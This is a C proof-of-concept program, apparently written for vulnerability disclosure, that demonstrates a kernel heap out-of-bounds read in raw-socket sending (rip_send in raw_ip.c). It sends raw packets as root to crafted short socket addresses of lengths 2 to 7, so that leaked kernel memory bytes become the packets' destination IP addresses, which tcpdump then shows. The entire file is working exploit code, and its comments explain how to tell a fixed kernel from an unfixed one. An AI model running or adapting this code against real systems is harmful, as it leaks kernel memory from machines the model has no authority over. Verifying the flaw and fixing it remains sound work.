DF-0650 / df0650_poc.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 | /* * DF-0650 - Heap OOB read in rip_send via short sockaddr (raw IP). * * Bug: sys/netinet/raw_ip.c:632 - dst = ((struct sockaddr_in*)nam)->sin_addr.s_addr * reads offset 4..7 of a kmalloc(tolen) M_SONAME buffer that may be as small * as 2 bytes. The leaked bytes become ip_dst of the emitted raw packet. * * Demonstrator: * - Open raw socket, bind to local vtnet0 IP (10.0.2.15) so source is fixed. * - For sa_len in {2,3,4,5,6,7}: send 1-byte payload to a short sockaddr. * The 4 bytes at offset 4..7 become ip_dst; bytes >= sa_len are OOB. * - Use ipfw + tcpdump to observe the leaked ip_dst. * * On an unfixed kernel: emit succeeds, ip_dst = leaked bytes. * On a fixed kernel (sa_len check): all sendto return EINVAL, no emit. * * Build: cc -O -o df0650_poc df0650_poc.c * Run: ./df0650_poc [reps] # as root */ #include <sys/param.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> int main(int argc, char **argv) { int reps = 8; if (argc > 1) reps = atoi(argv[1]); int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (s < 0) { fprintf(stderr, "socket: %s (need raw-socket privilege)\n", strerror(errno)); return 1; } int hdrincl = 0; setsockopt(s, IPPROTO_IP, IP_HDRINCL, &hdrincl, sizeof(hdrincl)); /* Bind so source IP is fixed; removes one variable from ip_output. */ struct sockaddr_in laddr; memset(&laddr, 0, sizeof(laddr)); laddr.sin_len = sizeof(laddr); laddr.sin_family = AF_INET; inet_aton("10.0.2.15", &laddr.sin_addr); if (bind(s, (struct sockaddr*)&laddr, sizeof(laddr)) < 0) { /* non-fatal */ fprintf(stderr, "bind: %s (continuing)\n", strerror(errno)); } printf("[*] raw socket fd=%d, IP_HDRINCL=0, bound src=10.0.2.15\n", s); printf("[*] sending short sockaddrs with sa_len in {2..7}; OOB bytes\n"); printf(" at offset >= sa_len become ip_dst of emitted packet.\n\n"); unsigned char payload[8] = "DF0650X!"; int lens[] = {7, 6, 5, 4, 3, 2}; int nl = (int)(sizeof(lens)/sizeof(lens[0])); int ok_count = 0, fail_count = 0; for (int r = 0; r < reps; r++) { for (int li = 0; li < nl; li++) { int L = lens[li]; unsigned char sa[8]; memset(sa, 0, sizeof(sa)); sa[0] = (unsigned char)L; sa[1] = AF_INET; /* In-buffer sin_addr bytes: point at 10.0.2.X so leaked * packets route to vtnet0 (tcpdump-visible). */ if (L > 4) sa[4] = 10; if (L > 5) sa[5] = 0; if (L > 6) sa[6] = 2; ssize_t rc = sendto(s, payload, 4, 0, (struct sockaddr*)sa, L); int e = errno; if (rc > 0) { ok_count++; int n_oob = 4 - ((L > 4) ? (L - 4) : 0); if (r < 2) printf("[r%d L%d] EMITTED rc=%zd (%d OOB byte(s) in ip_dst)\n", r, L, rc, n_oob); } else { fail_count++; if (r < 2) printf("[r%d L%d] failed rc=%zd errno=%d (%s)\n", r, L, rc, e, strerror(e)); } } usleep(20000); } printf("\n[*] summary: %d emitted, %d failed\n", ok_count, fail_count); printf("[*] tcpdump -i vtnet0 -nn should show emitted packets with\n"); printf(" ip_dst=10.0.2.{leaked_byte} (for L=7) or fully leaked\n"); printf(" (for L=2..4). On a fixed kernel ALL sendto return EINVAL.\n"); close(s); return 0; } |